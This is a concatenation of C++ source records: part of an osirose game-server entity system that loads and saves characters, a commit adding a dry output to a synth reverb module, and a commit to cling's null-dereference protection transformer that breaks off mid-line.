Core::connectionPool.getConnection(Core::osirose);\n Core::CharacterTable characters{};\n Core::InventoryTable inventoryTable{};\n Core::SkillTable skillsTable{};\n\n auto charRes = conn(sqlpp::select(sqlpp::count(characters.id), sqlpp::all_of(characters))\n .from(characters)\n .where(characters.id == charId));\n\n std::lock_guard<std::mutex> lock(access_);\n auto entity = create();\n if (static_cast<long>(charRes.front().count) != 1L) {\n entity.destroy();\n return Entity();\n }\n const auto& charRow = charRes.front();\n\n entity.assign<Position>(charRow);\n entity.assign<BasicInfo>(charRow, id_manager_.get_free_id());\n entity.assign<Stats>(charRow);\n entity.assign<AdvancedInfo>(charRow);\n entity.assign<CharacterGraphics>(charRow);\n entity.assign<CharacterInfo>(charRow, platinium, charId);\n\n \/\/ TODO : write the pat initialization code\n auto skills = entity.assign<Skills>();\n auto skillRes =\n conn(sqlpp::select(skillsTable.id, skillsTable.level).from(skillsTable).where(skillsTable.charId == charId));\n skills->loadFromResult(skillRes);\n\n \/\/ TODO : write the hotbar table and loading code\n entity.assign<Hotbar>();\n entity.assign<StatusEffects>();\n entity.assign<RidingItems>();\n entity.assign<BulletItems>();\n\n \/\/ TODO : write the inventory code\n \/\/ auto luaSystem = systemManager_.get<Systems::LuaSystem>();\n auto inventory = entity.assign<Inventory>();\n\n auto invRes =\n conn(sqlpp::select(sqlpp::all_of(inventoryTable)).from(inventoryTable).where(inventoryTable.charId == charId));\n inventory->loadFromResult(invRes, get<Systems::InventorySystem>());\n\n Systems::UpdateSystem::calculateSpeed(entity);\n\n entity.assign<Quests>();\n\n Core::WishTable wish{};\n auto wishRes = conn(sqlpp::select(sqlpp::all_of(wish)).from(wish).where(wish.charId == charId));\n auto wishlist = entity.assign<Wishlist>();\n wishlist->loadFromResult(wishRes, get<Systems::InventorySystem>());\n\n \/\/ auto lua = entity.assign<EntityAPI>();\n\n \/\/ luaSystem->loadScript(entity, \"function onInit()\\ndisplay('test')\\nend\");\n \/\/ lua->onInit();\n\n registerEntity(entity);\n return entity;\n}\n\nvoid EntitySystem::saveCharacter(uint32_t charId, Entity entity) {\n if (!entity) return;\n auto conn = Core::connectionPool.getConnection(Core::osirose);\n Core::CharacterTable characters{};\n\n using sqlpp::parameter;\n\n auto update = sqlpp::dynamic_update(conn.get(), characters).dynamic_set().where(characters.id == charId);\n entity.component<Position>()->commitToUpdate<decltype(characters)>(update);\n entity.component<BasicInfo>()->commitToUpdate<decltype(characters)>(update);\n entity.component<Stats>()->commitToUpdate<decltype(characters)>(update);\n entity.component<AdvancedInfo>()->commitToUpdate<decltype(characters)>(update);\n \/\/ entity.component<CharacterGraphics>()->commitToUpdate(update);\n entity.component<CharacterInfo>()->commitToUpdate<decltype(characters)>(update);\n \/\/ entity.component<Hotbar>()->commitToUpdate(update);\n \/\/ entity.component<StatusEffects>()->commitToUpdate(update);\n \/\/ entity.component<RidingItems>()->commitToUpdate(update);\n \/\/ entity.component<BulletItems>()->commitToUpdate(update);\n\n conn->run(update);\n\n \/\/ entity.component<Skills>()->commitToUpdate(updateSkills);\n\n Core::InventoryTable inv{};\n auto invRes = conn(sqlpp::select(sqlpp::all_of(inv)).from(inv).where(inv.charId == charId));\n\n const auto& items = entity.component<Inventory>()->items_;\n\n std::vector<size_t> toDelete;\n std::vector<size_t> toUpdate;\n std::set<size_t> modified;\n std::vector<size_t> toInsert;\n\n for (const auto& row : invRes) {\n if (row.slot >= Inventory::maxItems)\n toDelete.emplace_back(row.slot); \/\/ FIXME: that should never happen\n else if (!items[row.slot])\n toDelete.emplace_back(row.slot);\n else if (items[row.slot] != Item(row))\n toUpdate.emplace_back(row.slot);\n modified.insert(row.slot);\n }\n size_t i = 0;\n for (const auto& item : items) {\n if (item && modified.find(i) == modified.end()) toInsert.emplace_back(i);\n ++i;\n }\n\n for (auto it : toDelete) conn(sqlpp::remove_from(inv).where(inv.charId == charId and inv.slot == it));\n for (auto it : toUpdate) {\n auto update = sqlpp::dynamic_update(conn.get(), inv).dynamic_set().where(inv.charId == charId and inv.slot == it);\n items[it].commitToUpdate<decltype(inv)>(update);\n conn->run(update);\n }\n for (auto it : toInsert) {\n auto insert = sqlpp::dynamic_insert_into(conn.get(), inv).dynamic_set();\n items[it].commitToInsert<decltype(inv)>(insert);\n insert.insert_list.add(inv.slot = it);\n insert.insert_list.add(inv.charId = charId);\n conn->run(insert);\n }\n}\n\nEntity EntitySystem::create_warpgate(std::string alias, int dest_map_id, float dest_x, float dest_y, float dest_z,\n int map_id, float x, float y, float z, float angle,\n float x_scale, float y_scale, float z_scale) {\n Entity e = create();\n std::unique_ptr<CommandBase> ptr{new Command([alias, dest_map_id, dest_x, dest_y, dest_z,\n map_id, x, y, z, angle, x_scale, y_scale, z_scale,\n e] (EntitySystem &es) mutable {\n if (!e) return;\n e.assign<BasicInfo>(es.id_manager_.get_free_id());\n\n auto pos = e.assign<Position>(x * 100, y * 100, map_id, 0);\n\n pos->z_ = static_cast<uint16_t>(z);\n pos->angle_ = angle;\n\n auto dest = e.assign<Destination>(dest_x * 100, dest_y * 100, dest_map_id);\n dest->z_ = static_cast<uint16_t>(dest_z);\n })};\n create_commands_.emplace_back(std::move(ptr));\n return e;\n}\n\nEntity EntitySystem::create_npc(std::string npc_lua, int npc_id, int map_id, float x, float y, float z, float angle) {\n Entity e = create();\n std::unique_ptr<CommandBase> ptr{new Command([npc_lua, npc_id, map_id, x, y, z, angle, e] (EntitySystem &es) mutable {\n if (!e) return;\n e.assign<BasicInfo>(es.id_manager_.get_free_id());\n e.assign<AdvancedInfo>();\n e.assign<CharacterInfo>();\n\n uint16_t dialog_id = 0;\n if (!npc_lua.empty()) {\n dialog_id = std::stoi(npc_lua);\n }\n e.assign<Npc>(npc_id, dialog_id);\n auto pos = e.assign<Position>(x * 100, y * 100, map_id, 0);\n\n pos->z_ = static_cast<uint16_t>(z);\n pos->angle_ = angle;\n \/\/e.assign<EntityApi>();\n \/\/ we send the new NPC to the existing clients\n es.SendPacket(std::shared_ptr<CMapClient>{}, CMapServer::eSendType::EVERYONE,\n *makePacket<ePacketType::PAKWC_NPC_CHAR>(e));\n })};\n create_commands_.emplace_back(std::move(ptr));\n return e;\n}\n\nEntity EntitySystem::create_spawner(std::string alias, int mob_id, int mob_count,\n int spawner_limit, int spawner_interval, int spawner_range,\n int map_id, float x, float y, float z) {\n return {};\n}\n\nvoid EntitySystem::bulk_destroy(const std::vector<Entity>& s) {\n std::unique_ptr<CommandBase> ptr{new Command([s] (EntitySystem &es) mutable {\n for (auto entity : s) {\n if (!entity) continue;\n if (!entity.component<Warpgate>())\n es.SendPacket(std::shared_ptr<CMapClient>{}, CMapServer::eSendType::EVERYONE,\n *makePacket<ePacketType::PAKWC_REMOVE_OBJECT>(entity));\n entity.destroy();\n }\n })};\n std::lock_guard<std::mutex> lock(access_);\n delete_commands_.emplace_back(std::move(ptr));\n}\n\nLuaScript::ScriptLoader& EntitySystem::get_script_loader() noexcept {\n return server_->get_script_loader();\n}\n\nvoid EntitySystem::SendPacket(const std::shared_ptr<CMapClient>& sender, CMapServer::eSendType type,\n CRosePacket& _buffer) {\n server_->SendPacket(sender, type, _buffer);\n}\n\nvoid EntitySystem::SendPacket(const CMapClient& sender, CMapServer::eSendType type, CRosePacket& _buffer) {\n server_->SendPacket(sender, type, _buffer);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"ReverbModule.h\"\n#include \"..\/Random.h\"\n#include <algorithm>\n#include <cstdlib>\n#include <cstdio>\n#include \"SDL.h\"\n\nReverbModule::ReverbModule(ModularSynth& synth)\n\t:SynthModule(synth, moduleId, 2, 1, 0), mHead(0), mBuffer(NULL)\n{\n\tRandom rnd;\n\trnd.seed(rand());\n\n\tfor (int i = 0 ; i < numTaps ; ++i)\n\t{\n\t\tmTap[i].gain = 1.0f \/ (1 + i);\n\t\tmTap[i].delay = static_cast<float>(i) \/ numTaps + rnd.rndf() * 0.9f \/ numTaps + 0.01f;\n\t}\n}\n\n\nReverbModule::~ReverbModule()\n{\n\tif (mBuffer != NULL)\n\t{\n\t\tdelete[] mBuffer;\n\t}\n}\n\n\nvoid ReverbModule::cycle()\n{\n\tmBuffer[mHead] = getInput(0);\n\n\tfloat delay = std::max(0.0f, getInput(1));\n\tfloat sum = 0;\n\n\tfor (int i = 0 ; i < numTaps ; ++i)\n\t{\n\t\tsum += mBuffer[static_cast<int>(mHead - delay * mTap[i].delay * mSampleRate + mMaxBufferSize) % mMaxBufferSize] * mTap[i].gain;\n\t}\n\n\tsetOutput(0, sum);\n\n\t++mHead;\n\n\n\tif (mHead >= mMaxBufferSize)\n\t\tmHead = 0;\n}\n\n\n\nconst char * ReverbModule::getInputName(int input) const\n{\n\tstatic const char *names[] = {\"Input\"};\n\treturn names[input];\n}\n\n\nconst char * ReverbModule::getOutputName(int output) const\n{\n\tstatic const char *names[] = {\"Output\"};\n\treturn names[output];\n}\n\n\nconst char * ReverbModule::getName() const\n{\n\treturn \"Reverb\";\n}\n\n\nSynthModule * ReverbModule::createModule(ModularSynth& synth)\n{\n\treturn new ReverbModule(synth);\n}\n\n\nvoid ReverbModule::setSampleRate(int newRate)\n{\n\tSynthModule::setSampleRate(newRate);\n\n\tif (mBuffer != NULL)\n\t\tdelete[] mBuffer;\n\n\tmMaxBufferSize = std::max(1, maxBufferSizeMs * newRate \/ 1000);\n\n\tprintf(\"mMaxBufferSize = %d\\n\", mMaxBufferSize);\n\n\tmBuffer = new float[mMaxBufferSize];\n\tSDL_memset(mBuffer, 0, mMaxBufferSize * sizeof(mBuffer[0]));\n\n\tmHead = 0;\n}\n<commit_msg>ReverbModule dry out<commit_after>#include \"ReverbModule.h\"\n#include \"..\/Random.h\"\n#include <algorithm>\n#include <cstdlib>\n#include <cstdio>\n#include \"SDL.h\"\n\nReverbModule::ReverbModule(ModularSynth& synth)\n\t:SynthModule(synth, moduleId, 2, 2, 0), mHead(0), mBuffer(NULL)\n{\n\tRandom rnd;\n\trnd.seed(rand());\n\n\tfor (int i = 0 ; i < numTaps ; ++i)\n\t{\n\t\tmTap[i].gain = 1.0f \/ (1 + i);\n\t\tmTap[i].delay = static_cast<float>(i) \/ numTaps + rnd.rndf() * 0.9f \/ numTaps + 0.01f;\n\t}\n}\n\n\nReverbModule::~ReverbModule()\n{\n\tif (mBuffer != NULL)\n\t{\n\t\tdelete[] mBuffer;\n\t}\n}\n\n\nvoid ReverbModule::cycle()\n{\n\tmBuffer[mHead] = getInput(0);\n\n\tfloat delay = std::min(static_cast<float>(maxBufferSizeMs) \/ 1000, std::max(0.0f, getInput(1)));\n\tfloat sum = 0;\n\n\tfor (int i = 0 ; i < numTaps ; ++i)\n\t{\n\t\tsum += mBuffer[static_cast<int>(mHead - delay * mTap[i].delay * mSampleRate + mMaxBufferSize) % mMaxBufferSize] * mTap[i].gain;\n\t}\n\n\tsetOutput(0, sum);\n\tsetOutput(1, getInput(0));\n\n\t++mHead;\n\n\tif (mHead >= mMaxBufferSize)\n\t\tmHead = 0;\n}\n\n\n\nconst char * ReverbModule::getInputName(int input) const\n{\n\tstatic const char *names[] = {\"Input\", \"Length\"};\n\treturn names[input];\n}\n\n\nconst char * ReverbModule::getOutputName(int output) const\n{\n\tstatic const char *names[] = {\"Reverb out\", \"Dry out\"};\n\treturn names[output];\n}\n\n\nconst char * ReverbModule::getName() const\n{\n\treturn \"Reverb\";\n}\n\n\nSynthModule * ReverbModule::createModule(ModularSynth& synth)\n{\n\treturn new ReverbModule(synth);\n}\n\n\nvoid ReverbModule::setSampleRate(int newRate)\n{\n\tSynthModule::setSampleRate(newRate);\n\n\tif (mBuffer != NULL)\n\t\tdelete[] mBuffer;\n\n\tmMaxBufferSize = std::max(1, maxBufferSizeMs * newRate \/ 1000);\n\n\tmBuffer = new float[mMaxBufferSize];\n\tSDL_memset(mBuffer, 0, mMaxBufferSize * sizeof(mBuffer[0]));\n\n\tmHead = 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author: Baozeng Ding <sploving1@gmail.com>\n\/\/ author: Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"NullDerefProtectionTransformer.h\"\n\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Utils\/AST.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/Decl.h\"\n#include \"clang\/AST\/Expr.h\"\n#include \"clang\/AST\/RecursiveASTVisitor.h\"\n#include \"clang\/Basic\/SourceLocation.h\"\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Sema\/Lookup.h\"\n\n#include <bitset>\n\nusing namespace clang;\n\nnamespace {\nusing namespace cling;\n\nclass PointerCheckInjector : public RecursiveASTVisitor<PointerCheckInjector> {\n private:\n Interpreter& m_Interp;\n Sema& m_Sema;\n typedef llvm::DenseMap<clang::FunctionDecl*, std::bitset<32> > decl_map_t;\n llvm::DenseMap<clang::FunctionDecl*, std::bitset<32> > m_NonNullArgIndexs;\n\n \/\/\/\\brief Needed for the AST transformations, owned by Sema.\n \/\/\/\n ASTContext& m_Context;\n\n \/\/\/\\brief cling_runtime_internal_throwIfInvalidPointer cache.\n \/\/\/\n LookupResult* m_clingthrowIfInvalidPointerCache;\n\n bool IsTransparentThis(Expr* E) {\n if (llvm::isa<CXXThisExpr>(E))\n return true;\n if (auto ICE = dyn_cast<ImplicitCastExpr>(E))\n return IsTransparentThis(ICE->getSubExpr());\n return false;\n }\n\n public:\n PointerCheckInjector(Interpreter& I)\n : m_Interp(I), m_Sema(I.getCI()->getSema()),\n m_Context(I.getCI()->getASTContext()),\n m_clingthrowIfInvalidPointerCache(0) {}\n\n ~PointerCheckInjector() {\n delete m_clingthrowIfInvalidPointerCache;\n }\n\n bool VisitUnaryOperator(UnaryOperator* UnOp) {\n Expr* SubExpr = UnOp->getSubExpr();\n VisitStmt(SubExpr);\n if (UnOp->getOpcode() == UO_Deref\n && !IsTransparentThis(SubExpr)\n && SubExpr->getType().getTypePtr()->isPointerType())\n UnOp->setSubExpr(SynthesizeCheck(SubExpr));\n return true;\n }\n\n bool VisitMemberExpr(MemberExpr* ME) {\n Expr* Base = ME->getBase();\n VisitStmt(Base);\n if (ME->isArrow()\n && !IsTransparentThis(Base)\n && ME->getMemberDecl()->isCXXInstanceMember())\n ME->setBase(SynthesizeCheck(Base));\n return true;\n }\n\n bool VisitCallExpr(CallExpr* CE) {\n VisitStmt(CE->getCallee());\n FunctionDecl* FDecl = CE->getDirectCallee();\n if (FDecl && isDeclCandidate(FDecl)) {\n decl_map_t::const_iterator it = m_NonNullArgIndexs.find(FDecl);\n const std::bitset<32>& ArgIndexs = it->second;\n Sema::ContextRAII pushedDC(m_Sema, FDecl);\n for (int index = 0; index < 32; ++index) {\n if (ArgIndexs.test(index)) {\n \/\/ Get the argument with the nonnull attribute.\n Expr* Arg = CE->getArg(index);\n if (Arg->getType().getTypePtr()->isPointerType()\n && !IsTransparentThis(Arg))\n CE->setArg(index, SynthesizeCheck(Arg));\n }\n }\n }\n return true;\n }\n\n bool TraverseFunctionDecl(FunctionDecl* FD) {\n \/\/ We cannot synthesize when there is a const expr\n \/\/ and if it is a function template (we will do the transformation on\n \/\/ the instance).\n if (!FD->isConstexpr() && !FD->getDescribedFunctionTemplate())\n RecursiveASTVisitor::TraverseFunctionDecl(FD);\n return true;\n }\n\n bool TraverseCXXMethodDecl(CXXMethodDecl* CXXMD) {\n \/\/ We cannot synthesize when there is a const expr.\n if (!CXXMD->isConstexpr())\n RecursiveASTVisitor::TraverseCXXMethodDecl(CXXMD);\n return true;\n }\n\n private:\n Expr* SynthesizeCheck(Expr* Arg) {\n assert(Arg && \"Cannot call with Arg=0\");\n\n if(!m_clingthrowIfInvalidPointerCache)\n FindAndCacheRuntimeLookupResult();\n\n SourceLocation Loc = Arg->getBeginLoc();\n Expr* VoidSemaArg = utils::Synthesize::CStyleCastPtrExpr(&m_Sema,\n m_Context.VoidPtrTy,\n (uintptr_t)&m_Interp);\n Expr* VoidExprArg = utils::Synthesize::CStyleCastPtrExpr(&m_Sema,\n m_Context.VoidPtrTy,\n (uintptr_t)Arg);\n Scope* S = m_Sema.getScopeForContext(m_Sema.CurContext);\n CXXScopeSpec CSS;\n\n Expr* checkCall\n = m_Sema.BuildDeclarationNameExpr(CSS,\n *m_clingthrowIfInvalidPointerCache,\n \/*ADL*\/ false).get();\n const clang::FunctionProtoType* checkCallType\n = llvm::dyn_cast<const clang::FunctionProtoType>(\n checkCall->getType().getTypePtr());\n\n TypeSourceInfo* constVoidPtrTSI = m_Context.getTrivialTypeSourceInfo(\n checkCallType->getParamType(2), Loc);\n\n \/\/ It is unclear whether this is the correct cast if the type\n \/\/ is dependent. Hence, For now, we do not expect SynthesizeCheck to\n \/\/ be run on a function template. It should be run only on function\n \/\/ instances.\n \/\/ When this is actually insert in a function template, it seems that\n \/\/ clang r272382 when instantiating the templates drops one of the part\n \/\/ of the implicit cast chain.\n \/\/ Namely in:\n\/*\n`-ImplicitCastExpr 0x1010cea90 <col:4> 'const void *' <BitCast>\n `-ImplicitCastExpr 0x1026e0bc0 <col:4> 'const class TAttMarker *'\n <UncheckedDerivedToBase (TAttMarker)>\n `-ImplicitCastExpr 0x1026e0b48 <col:4> 'class TGraph *' <LValueToRValue>\n `-DeclRefExpr 0x1026e0b20 <col:4> 'class TGraph *' lvalue Var 0x1026e09c0\n 'g5' 'class TGraph *'\n*\/\n \/\/ It drops the 2nd lines (ImplicitCastExpr UncheckedDerivedToBase)\n \/\/ clang r227800 seems to actually keep that lines during instantiation.\n Expr* voidPtrArg\n = m_Sema.BuildCStyleCastExpr(Loc, constVoidPtrTSI, Loc, Arg).get();\n\n Expr *args[] = {VoidSemaArg, VoidExprArg, voidPtrArg};\n\n if (Expr* call = m_Sema.ActOnCallExpr(S, checkCall,\n Loc, args, Loc).get())\n {\n \/\/ It is unclear whether this is the correct cast if the type\n \/\/ is dependent. Hence, For now, we do not expect SynthesizeCheck to\n \/\/ be run on a function template. It should be run only on function\n \/\/ instances.\n clang::TypeSourceInfo* argTSI = m_Context.getTrivialTypeSourceInfo(\n Arg->getType(), Loc);\n Expr* castExpr = m_Sema.BuildCStyleCastExpr(Loc, argTSI,\n Loc, call).get();\n return castExpr;\n }\n return voidPtrArg;\n }\n\n bool isDeclCandidate(FunctionDecl * FDecl) {\n if (m_NonNullArgIndexs.count(FDecl))\n return true;\n\n if (llvm::isa<CXXRecordDecl>(FDecl))\n return true;\n\n std::bitset<32> ArgIndexs;\n for (specific_attr_iterator<NonNullAttr>\n I = FDecl->specific_attr_begin<NonNullAttr>(),\n E = FDecl->specific_attr_end<NonNullAttr>(); I != E; ++I) {\n\n NonNullAttr *NonNull = *I;\n for (NonNullAttr::args_iterator i = NonNull->args_begin(),\n e = NonNull->args_end(); i != e; ++i) {\n ArgIndexs.set(*i);\n }\n }\n\n if (ArgIndexs.any()) {\n m_NonNullArgIndexs.insert(std::make_pair(FDecl, ArgIndexs));\n return true;\n }\n return false;\n }\n\n void FindAndCacheRuntimeLookupResult() {\n assert(!m_clingthrowIfInvalidPointerCache && \"Called multiple times!?\");\n\n DeclarationName Name\n = &m_Context.Idents.get(\"cling_runtime_internal_throwIfInvalidPointer\");\n SourceLocation noLoc;\n m_clingthrowIfInvalidPointerCache = new LookupResult(m_Sema, Name, noLoc,\n Sema::LookupOrdinaryName,\n Sema::ForVisibleRedeclaration);\n m_Sema.LookupQualifiedName(*m_clingthrowIfInvalidPointerCache,\n m_Context.getTranslationUnitDecl());\n assert(!m_clingthrowIfInvalidPointerCache->empty() &&\n \"Lookup of cling_runtime_internal_throwIfInvalidPointer failed!\");\n }\n };\n\n static bool hasPtrCheckDisabledInContext(const Decl* D) {\n if (isa<TranslationUnitDecl>(D))\n return false;\n for (const auto *Ann : D->specific_attrs<AnnotateAttr>()) {\n if (Ann->getAnnotation() == \"__cling__ptrcheck(off)\")\n return true;\n else if (Ann->getAnnotation() == \"__cling__ptrcheck(on)\")\n return false;\n }\n const Decl* Parent = nullptr;\n for (auto DC = D->getDeclContext(); !Parent; DC = DC->getParent())\n Parent = dyn_cast<Decl>(DC);\n\n assert(Parent && \"Decl without context!\");\n\n return hasPtrCheckDisabledInContext(Parent);\n }\n\n} \/\/ unnamed namespace\n\nnamespace cling {\n NullDerefProtectionTransformer::NullDerefProtectionTransformer(Interpreter* I)\n : ASTTransformer(&I->getCI()->getSema()), m_Interp(I) {\n }\n\n NullDerefProtectionTransformer::~NullDerefProtectionTransformer()\n { }\n\n bool NullDerefProtectionTransformer::shouldTransform(const clang::Decl* D) {\n if (D->isFromASTFile())\n return false;\n if (D->isTemplateDecl())\n return false;\n\n if (hasPtrCheckDisabledInContext(D))\n return false;\n\n auto Loc = D->getLocation();\n if (Loc.isInvalid())\n return false;\n\n SourceManager& SM = m_Interp->getSema().getSourceManager();\n auto Characteristic = SM.getFileCharacteristic(Loc);\n if (Characteristic != clang::SrcMgr::C_User)\n return false;\n\n auto FID = SM.getFileID(Loc);\n if (FID.isInvalid())\n return false;\n\n auto FE = SM.getFileEntryForID(FID);\n if (!FE)\n return false;\n\n auto Dir = FE->getDir();\n if (!Dir)\n return false;\n\n auto IterAndInserted = m_ShouldVisitDir.try_emplace(Dir, true);\n if (IterAndInserted.second == false)\n return IterAndInserted.first->second;\n\n if (llvm::sys::fs::can_write(Dir->getName()))\n return true; \/\/ `true` is already emplaced above.\n\n \/\/ Remember that this dir is not writable and should not be visited.\n IterAndInserted.first->second = false;\n return false;\n }\n\n\n ASTTransformer::Result\n NullDerefProtectionTransformer::Transform(clang::Decl* D) {\n if (getCompilationOpts().CheckPointerValidity && shouldTransform(D)) {\n PointerCheckInjector injector(*m_Interp);\n injector.TraverseDecl(D);\n }\n return Result(D, true);\n }\n} \/\/ end namespace cling\n<commit_msg>Index goes behind the getASTIndex interface.<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author: Baozeng Ding <sploving1@gmail.com>\n\/\/ author: Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"NullDerefProtectionTransformer.h\"\n\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Utils\/AST.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/Decl.h\"\n#include \"clang\/AST\/Expr.h\"\n#include \"clang\/AST\/RecursiveASTVisitor.h\"\n#include \"clang\/Basic\/SourceLocation.h\"\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Sema\/Lookup.h\"\n\n#include <bitset>\n\nusing namespace clang;\n\nnamespace {\nusing namespace cling;\n\nclass PointerCheckInjector : public RecursiveASTVisitor<PointerCheckInjector> {\n private:\n Interpreter& m_Interp;\n Sema& m_Sema;\n typedef llvm::DenseMap<clang::FunctionDecl*, std::bitset<32> > decl_map_t;\n llvm::DenseMap<clang::FunctionDecl*, std::bitset<32> > m_NonNullArgIndexs;\n\n \/\/\/\\brief Needed for the AST transformations, owned by Sema.\n \/\/\/\n ASTContext& m_Context;\n\n \/\/\/\\brief cling_runtime_internal_throwIfInvalidPointer cache.\n \/\/\/\n LookupResult* m_clingthrowIfInvalidPointerCache;\n\n bool IsTransparentThis(Expr* E) {\n if (llvm::isa<CXXThisExpr>(E))\n return true;\n if (auto ICE = dyn_cast<ImplicitCastExpr>(E))\n return IsTransparentThis(ICE->getSubExpr());\n return false;\n }\n\n public:\n PointerCheckInjector(Interpreter& I)\n : m_Interp(I), m_Sema(I.getCI()->getSema()),\n m_Context(I.getCI()->getASTContext()),\n m_clingthrowIfInvalidPointerCache(0) {}\n\n ~PointerCheckInjector() {\n delete m_clingthrowIfInvalidPointerCache;\n }\n\n bool VisitUnaryOperator(UnaryOperator* UnOp) {\n Expr* SubExpr = UnOp->getSubExpr();\n VisitStmt(SubExpr);\n if (UnOp->getOpcode() == UO_Deref\n && !IsTransparentThis(SubExpr)\n && SubExpr->getType().getTypePtr()->isPointerType())\n UnOp->setSubExpr(SynthesizeCheck(SubExpr));\n return true;\n }\n\n bool VisitMemberExpr(MemberExpr* ME) {\n Expr* Base = ME->getBase();\n VisitStmt(Base);\n if (ME->isArrow()\n && !IsTransparentThis(Base)\n && ME->getMemberDecl()->isCXXInstanceMember())\n ME->setBase(SynthesizeCheck(Base));\n return true;\n }\n\n bool VisitCallExpr(CallExpr* CE) {\n VisitStmt(CE->getCallee());\n FunctionDecl* FDecl = CE->getDirectCallee();\n if (FDecl && isDeclCandidate(FDecl)) {\n decl_map_t::const_iterator it = m_NonNullArgIndexs.find(FDecl);\n const std::bitset<32>& ArgIndexs = it->second;\n Sema::ContextRAII pushedDC(m_Sema, FDecl);\n for (int index = 0; index < 32; ++index) {\n if (ArgIndexs.test(index)) {\n \/\/ Get the argument with the nonnull attribute.\n Expr* Arg = CE->getArg(index);\n if (Arg->getType().getTypePtr()->isPointerType()\n && !IsTransparentThis(Arg))\n CE->setArg(index, SynthesizeCheck(Arg));\n }\n }\n }\n return true;\n }\n\n bool TraverseFunctionDecl(FunctionDecl* FD) {\n \/\/ We cannot synthesize when there is a const expr\n \/\/ and if it is a function template (we will do the transformation on\n \/\/ the instance).\n if (!FD->isConstexpr() && !FD->getDescribedFunctionTemplate())\n RecursiveASTVisitor::TraverseFunctionDecl(FD);\n return true;\n }\n\n bool TraverseCXXMethodDecl(CXXMethodDecl* CXXMD) {\n \/\/ We cannot synthesize when there is a const expr.\n if (!CXXMD->isConstexpr())\n RecursiveASTVisitor::TraverseCXXMethodDecl(CXXMD);\n return true;\n }\n\n private:\n Expr* SynthesizeCheck(Expr* Arg) {\n assert(Arg && \"Cannot call with Arg=0\");\n\n if(!m_clingthrowIfInvalidPointerCache)\n FindAndCacheRuntimeLookupResult();\n\n SourceLocation Loc = Arg->getBeginLoc();\n Expr* VoidSemaArg = utils::Synthesize::CStyleCastPtrExpr(&m_Sema,\n m_Context.VoidPtrTy,\n (uintptr_t)&m_Interp);\n Expr* VoidExprArg = utils::Synthesize::CStyleCastPtrExpr(&m_Sema,\n m_Context.VoidPtrTy,\n (uintptr_t)Arg);\n Scope* S = m_Sema.getScopeForContext(m_Sema.CurContext);\n CXXScopeSpec CSS;\n\n Expr* checkCall\n = m_Sema.BuildDeclarationNameExpr(CSS,\n *m_clingthrowIfInvalidPointerCache,\n \/*ADL*\/ false).get();\n const clang::FunctionProtoType* checkCallType\n = llvm::dyn_cast<const clang::FunctionProtoType>(\n checkCall->getType().getTypePtr());\n\n TypeSourceInfo* constVoidPtrTSI = m_Context.getTrivialTypeSourceInfo(\n checkCallType->getParamType(2), Loc);\n\n \/\/ It is unclear whether this is the correct cast if the type\n \/\/ is dependent. Hence, For now, we do not expect SynthesizeCheck to\n \/\/ be run on a function template. It should be run only on function\n \/\/ instances.\n \/\/ When this is actually insert in a function template, it seems that\n \/\/ clang r272382 when instantiating the templates drops one of the part\n \/\/ of the implicit cast chain.\n \/\/ Namely in:\n\/*\n`-ImplicitCastExpr 0x1010cea90 <col:4> 'const void *' <BitCast>\n `-ImplicitCastExpr 0x1026e0bc0 <col:4> 'const class TAttMarker *'\n <UncheckedDerivedToBase (TAttMarker)>\n `-ImplicitCastExpr 0x1026e0b48 <col:4> 'class TGraph *' <LValueToRValue>\n `-DeclRefExpr 0x1026e0b20 <col:4> 'class TGraph *' lvalue Var 0x1026e09c0\n 'g5' 'class TGraph *'\n*\/\n \/\/ It drops the 2nd lines (ImplicitCastExpr UncheckedDerivedToBase)\n \/\/ clang r227800 seems to actually keep that lines during instantiation.\n Expr* voidPtrArg\n = m_Sema.BuildCStyleCastExpr(Loc, constVoidPtrTSI, Loc, Arg).get();\n\n Expr *args[] = {VoidSemaArg, VoidExprArg, voidPtrArg};\n\n if (Expr* call = m_Sema.ActOnCallExpr(S, checkCall,\n Loc, args, Loc).get())\n {\n \/\/ It is unclear whether this is the correct cast if the type\n \/\/ is dependent. Hence, For now, we do not expect SynthesizeCheck to\n \/\/ be run on a function template. It should be run only on function\n \/\/ instances.\n clang::TypeSourceInfo* argTSI = m_Context.getTrivialTypeSourceInfo(\n Arg->getType(), Loc);\n Expr* castExpr = m_Sema.BuildCStyleCastExpr(Loc, argTSI,\n Loc, call).get();\n return castExpr;\n }\n return voidPtrArg;\n }\n\n bool isDeclCandidate(FunctionDecl * FDecl) {\n if (m_NonNullArgIndexs.count(FDecl))\n return true;\n\n if (llvm::isa<CXXRecordDecl>(FDecl))\n return true;\n\n std::bitset<32> ArgIndexs;\n for (specific_attr_iterator<NonNullAttr>\n I = FDecl->specific_attr_begin<NonNullAttr>(),\n E = FDecl->specific_attr_end<NonNullAttr>(); I != E; ++I) {\n\n NonNullAttr *NonNull = *I;\n for (const auto &Idx : NonNull->args()) {\n ArgIndexs.set(Idx.getASTIndex());\n }\n }\n\n if (ArgIndexs.any()) {\n m_NonNullArgIndexs.insert(std::make_pair(FDecl, ArgIndexs));\n return true;\n }\n return false;\n }\n\n void FindAndCacheRuntimeLookupResult() {\n assert(!m_clingthrowIfInvalidPointerCache && \"Called multiple times!?\");\n\n DeclarationName Name\n = 